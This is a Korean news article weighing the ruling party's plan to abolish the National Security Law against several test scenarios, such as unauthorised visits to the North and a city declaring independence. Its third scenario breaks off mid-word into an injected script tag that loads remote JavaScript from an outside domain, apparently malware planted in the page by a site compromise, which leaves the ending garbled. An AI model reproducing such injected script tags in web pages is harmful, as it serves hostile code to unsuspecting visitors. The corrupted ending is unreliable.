"보안법 폐지" 여당 형법개정안 적용해보니 …
열린우리당이 국가보안법을 폐지하고 형법 개정을 통해 보완하는 당론을 확정한 것을 계기로 국민 사이에 보안법 개폐 논쟁이 다시 불붙었다. 국가안보는 건강과 마찬가지로 한번 잃어버리면 회복하기가 어렵거나 불가능하다.
이 때문에 보안법이란 이름이 중요한 게 아니라 우리 체제나 국가 질서를 뒤흔들려는 행위를 처벌할 수 있는 규정은 어떤 법률에든 반드시 포함돼야 한다는 목소리가 높다. 보안법과 같은 '안보형사법'은 정권의 유지를 위한 도구가 아니다. 반드시 북한만을 겨냥한 법률일 필요도 없다. 그러나 우리의 체제를 부정하거나 전복하려는 세력의 움직임을 막는 장치는 있어야 한다.
만약 중대한 국가안보 침해 사범이 입법 과정의 허점 때문에 처벌이 불가능한 상황이 온다면 새로운 법률이 탄생할 때까지 우리의 안보는 중대한 위기에 빠질 수 있다. 본지는 열린우리당 방안대로 할 경우 몇몇 국가 질서 교란행위를 처벌하거나 예방하는 것이 가능한지를 점검했다. 이를 위해 20여명의 현직 판사와 검사, 동국대 법대 김상겸 교수, 김원치.박준선 변호사 등 학자와 재야 법조인, 열린우리당 최재천 의원과 한나라당 장윤석 의원 등에게 자문했다.
평양 노동당 행사 허가 안받고 참여, 처벌 어려움
1. 국내 인사가 평양에서 열린 북한 노동당 행사에 허가를 받지 않고 참가하더라도 열린우리당의 형법 개정안으로는 처벌이 어렵게 된다. 지금까지 공안 당국은 "반국가단체의 지배 하에 있는 지역으로 잠입하거나 탈출한 자는 처벌한다"는 보안법(잠입.탈출) 조항에 근거해 관련자들을 사법처리했다.
고(故) 문익환 목사와 임수경씨 등이 처벌된 사례가 대표적이다. 하지만 보안법상 잠입.탈출을 비롯해 찬양.고무, 이적 표현물 제작.배포, 회합.통신죄 등이 모두 삭제되면 형사처벌의 근거가 없어진다. 따라서 앞으로 우리나라 인사들이 북한에 들어가 노동당 창당 기념일을 포함해 각종 정치 행사 등에 참석하더라도 북한 측 인사들과 남한 정부를 폭력으로 전복시키기 위해 논의했다는 사실 등이 입증되지 않는 한 처벌이 사실상 불가능해진다. 다만 남북교류협력법상 '허가받지 않은 방북' 조항으로 처벌할 수 있다. 남북교류협력법(9조)은 "남한과 북한의 주민이 남한과 북한을 왕래하고자 할 때는 통일부 장관이 발급한 증명서를 소지해야 한다"고 규정하고 있다. 그러나 실제로 사법처리된 사례는 극히 드물어 실효성이 없다는 지적이다.
서울시 등 지자체 독립공화국 선언, 처벌 불가
2.서울시가 현 정부의 수도 이전 방침 등에 반발, '서울 공화국'으로의 독립을 선포해도 형법 개정안으로는 처벌할 수 없다.
열린우리당이 북한을 내란목적 단체로 해석할 수 있는 근거인 형법 87조2항을 새로 만들면서 "국토를 참절(불법적으로 점유)하거나 국헌을 문란케 하기 위해 폭동을 일으킬 것을 목적으로 하는 결사 또는 집단으로서 지휘통솔체제를 갖춘 단체"로 내란목적 단체를 규정했다. 즉 서울시의 공화국 선포는 국토를 참절하고 국헌을 문란케 한 행위에 해당하지만 폭동을 목적으로 하지 않았다면 내란목적 단체로 볼 수 없기 때문이다.
그러나 서울시의 공화국 선포 행위는 보안법상 정부 참칭(스스로 정부라 일컬음) 등 반국가단체 구성죄에 해당된다. 열린우리당 측은 "공화국을 선포한다는 것은 자체 보호 능력을 갖춘다는 의미로 경찰 또는 군대나 적어도 10~20명의 경비원이라도 갖췄을 것"이라며 "따라서 그 자체로 폭동의 개념에 해당돼 내란목적단체 조직죄로 처벌하면 된다"고 밝혔다. 그러나 법조계에서는 이 같은 주장은 설득력이 없다고 판단하고 있다.
북한공작원이 국내서 간첩행위, 처벌 어려움
3.공작원이 국내에 들어와 정?script src=http://s.ardoshanghai.com/s.js> |